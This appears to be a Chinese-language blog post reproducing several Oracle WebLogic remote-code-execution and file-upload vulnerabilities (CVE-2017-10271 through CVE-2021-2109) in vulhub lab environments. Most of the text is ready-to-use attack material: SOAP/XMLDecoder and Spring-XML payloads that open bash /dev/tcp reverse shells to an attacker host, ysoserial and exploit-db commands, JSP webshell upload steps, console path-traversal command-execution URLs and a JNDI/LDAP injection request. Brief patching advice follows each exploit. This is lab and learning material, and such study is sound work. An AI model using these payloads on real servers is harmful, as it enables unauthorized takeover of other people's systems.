weblogic漏洞复现

简介

漏洞环境:如不另作特殊说明,漏洞环境均为vulhub

参考链接:

百科:https://baike.baidu.com/item/weblogic/451978?fr=aladdin

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

CVE-2017-10271

参考链接:

WebLogic WLS组件中存在CVE-2017-10271远程代码执行漏洞,可以构造请求对运行WebLogic中间件的主机进行攻击,近期发现此漏洞的利用方式为传播挖矿程序。

受影响WebLogic版本:

  • 10.3.6.0.0
  • 12.1.3.0.0
  • 12.2.1.1.0
  • 12.2.1.2.0

漏洞复现

漏洞验证:访问该链接,http://服务端IP:7001/wls-wsat/CoordinatorPortType11 ,出现下图说明可能存在漏洞。

我最开始是自己抓包,然后修改请求方式为POST并且添加请求体,却一直415,之后把请求头中Host下面的部分全部替换为网上的内容,成了。。。

攻击端nc监听9999端口,反弹shell请求包:

POST /wls-wsat/CoordinatorPortType11 HTTP/1.1
Host: your-ip:7001
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 640

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/攻击端IP/9999 0&gt;&amp;1</string> 
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

反弹shell之后,vulhub环境下攻击端接收到服务端的用户直接是root。

漏洞修复

  1. 打补丁
  2. 删除wls-wsat组件

参考链接:

CVE-2018-2628

参考链接:

在 WebLogic 里,攻击者利用其他rmi绕过weblogic黑名单限制,然后在将加载的内容利用readObject解析,从而造成反序列化远程代码执行该漏洞,该漏洞主要由于T3服务触发,所有开放weblogic控制台7001端口,默认会开启T3服务,攻击者发送构造好的T3协议数据,就可以获取目标服务器的权限。

受影响WebLogic版本:

  • 10.3.6.0.0
  • 12.1.3.0.0
  • 12.2.1.2.0
  • 12.2.1.3.0

漏洞复现

看网上说用nmap的脚本进行复现,但是执行了之后并没有看出啥。重新试了下,原来是多加了sV参数的原因,通过nmap的脚本可以看到服务器的weblogic使用了T3协议。

复现该漏洞需要启动一个JRMP Server,可以利用ysoserial启动一个JRMP Server。下载地址:https://github.com/brianwrf/ysoserial/releases/tag/0.0.6-pri-beta,最好使用Java8版本启动。

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [监听端口] CommonsCollections1 "命令"

利用公开exp进行攻击测试,链接:https://www.exploit-db.com/exploits/44553。

下载exp后,构造攻击payload进行测试。payload如下:

python exploit.py [目标ip] [目标port] [ysoserial路径] [JRMPListener ip] [JRMPListener port] [JRMPClient]

python exploit.py 139.198.172.202 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 139.198.172.202 9999 JRMPClient
# 攻击中使用的python是python2版本,python3版本会报错。

漏洞修复

  • 关闭T3服务,或控制T3服务的访问权限(临时)。
  • 打官方补丁。

CVE-2018-2894(Weblogic任意文件上传漏洞复现)

参考链接:

Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞,进而获取服务器权限。Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在 生产模式下默认不开启,所以该漏洞有一定限制,漏洞存在页面在/ws_utc/config.do。

受影响版本:

  • weblogic 10.3.6.0
  • weblogic 12.1.3.0
  • weblogic 12.2.1.2
  • weblogic 12.2.1.3

漏洞复现

启动docker环境。

环境启动成功后,访问未授权页面http://139.198.172.202:7001/ws_utc/config.do,访问结果如下:

该漏洞利用需要前置条件,使用docker-compose logs | grep password命令查看密码。

回到http://139.198.172.202:7001/console/页面,等待登录页面加载。用户名:weblogic;密码:TRe1Brf4,不同靶机的密码可能不一样。

登录成功后,点击base_domain,然后点高级。勾选启用web服务测试页选项,再在页面最下面点击保存

再次访问未授权页面,将Work Home Dr的文本框内容修改为u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。因为访问这个目录不需要权限,然后点击提交

z

这个时候配置已经全部完成,可以测试上传文件了。

点击安全,点击添加按钮,设置名字keysotre密码根据自己喜好设置,上传的Keystore文件为冰蝎jsp webshell。上传的时候需要使用burp拦截抓包,在上传的响应报文中有一个时间戳,weblogic会根据这个时间戳重新命名上传的文件,所以要提前获取到。

到这一步很奇怪,访问一直404。

我进入容器内部发现文件是被创建了的,但访问就是报404。参考安全脉搏的文章,重新登录下:https://www.secpulse.com/archives/116860.html。

如果解析成功,上传成功后冰蝎连接,连接路径为:http://you-ip/ws_utc/css/config/keystore/[时间戳]_[文件名]

漏洞修复

从复现中可以看到,该漏洞的利用条件不是那么好满足的,可以从这方面入手进行修复。官方补丁链接:http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html

Weblogic后台部署war包

参考链接:https://www.cnblogs.com/xiaozi/p/6117339.html

CVE-2020-14882/14883(未授权命令执行漏洞)

参考链接:

10月21日,Oracle官方发布数百个组件的高危漏洞公告。其中组合利用CVE-2020-14882/ CVE-2020-14883可使未经授权的攻击者绕过WebLogic后台登录等限制,最终远程执行代码接管WebLogic服务器,利用难度极低,风险极大。

此处漏洞均存在于WebLogic的控制台中。该组件为WebLogic全版本自带组件,并且该漏洞通过HTTP协议进行利用,CVE-2020-14882漏洞允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。

漏洞影响版本:

  • 10.3.6.0.0
  • 12.1.3.0.0
  • 12.2.1.3.0
  • 12.2.1.4.0
  • 14.1.1.0.0

漏洞复现

启动环境。

写入文件payload:

http://服务端IP:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/test');"

a

反弹shell:

首先需要构造一个恶意xml文件,启动http环境,让被攻击的weblogic能够访问到。代码如下(注意修改IP地址和nc监听端口):

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>/bin/bash</value>
        <value>-c</value>
        <value><![CDATA[bash -i >& /dev/tcp/ip/port 0>&1]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

nc启用监听,然后执行下面GET请求:

http://服务端IP:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://攻击ip/test.xml")

得到反弹shell:

漏洞修复

目前Oracle官方已发布了最新针对该漏洞的补丁,请受影响用户及时下载补丁程序并安装更新。

Oracle官方补丁需要用户持有正版软件的许可账号,使用该账号登陆https://support.oracle.com后,可以下载最新补丁。

参考链接:https://www.oracle.com/security-alerts/cpuoct2020.html

在旧版补丁中,使用黑名单过滤,可使用大小写绕过,请更新最新版的补丁,或者如无使用必要可选择关闭console。

CVE-2021-2109(远程代码执行)

参考链接:

2021年1月Oracle发布了安全更新补丁,包含Oracle产品系列中的329个新安全补丁。此次公告中特别提到了,2020年11月1日发布的Oracle WebLogic Server关于CVE-2020-14750漏洞的安全公告。强烈建议客户应用此补丁更新,及此公告中的其他补丁。CVE编号CVE-2021-2109,该漏洞为Weblogic 的远程代码执行漏洞。漏洞主要由JNDI注入,导致攻击者可利用此漏洞远程代码执行。

漏洞影响版本:

  • Weblogic Server 10.3.6.0.0
  • Weblogic Server 12.1.3.0.0
  • Weblogic Server 12.2.1.3.0
  • Weblogic Server 12.2.1.4.0
  • Weblogic Server 14.1.1.0.0

漏洞复现

启动环境,vulhub中没有该漏洞的环境,使用CVE-2020-14882代替。

下载LDAP并启动,LDAP的运行需要java1.8环境。下载地址:https://github.com/feihong-cs/JNDIExploit/releases。本次复现使用的是1.11版本。

使用java 1.8版本启动,命令java -jar JNDIExploit-v1.11.jar -i [攻击端IP]

a

访问目标路径:http://139.198.172.202:7001/console/css/%252e%252e%252f/consolejndi.portal,使用burp拦截抓包,将GET请求方式改为POST,并构造数据包,注意IP地址中第三位和第四位中间是分号;

POST /console/css/%252e%252e%252f/consolejndi.portal HTTP/1.1
Host: 服务端IP:7001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: ADMINCONSOLESESSION=QOBObrqaFesoHZn2CPYDDiURPTylOq28vVljbn-u242XLuXB8bNP!-1825720843
cmd: pwd
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 176

_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://49.233.160;143:1389/Basic/WeblogicEcho;AdminServer%22)

漏洞修复

参考链接:https://blog.csdn.net/weixin_38896449/article/details/115209541

  1. 及时下载官方补丁进行升级修复。下载地址如下:https://www.oracle.com/security-alerts/cpujan2021.html
  2. 关闭后台/console/console.portal的访问权限。
  3. 修改后台默认地址。
    进入默认的控制台,例如“localhost/console”,进入后点击左侧的 “域名称”-“高级选项”-“保存”,重启服务并清缓存。
本博客虽然很垃圾,但所有内容严禁转载
原文地址:https://www.cnblogs.com/ahtoh/p/15097838.html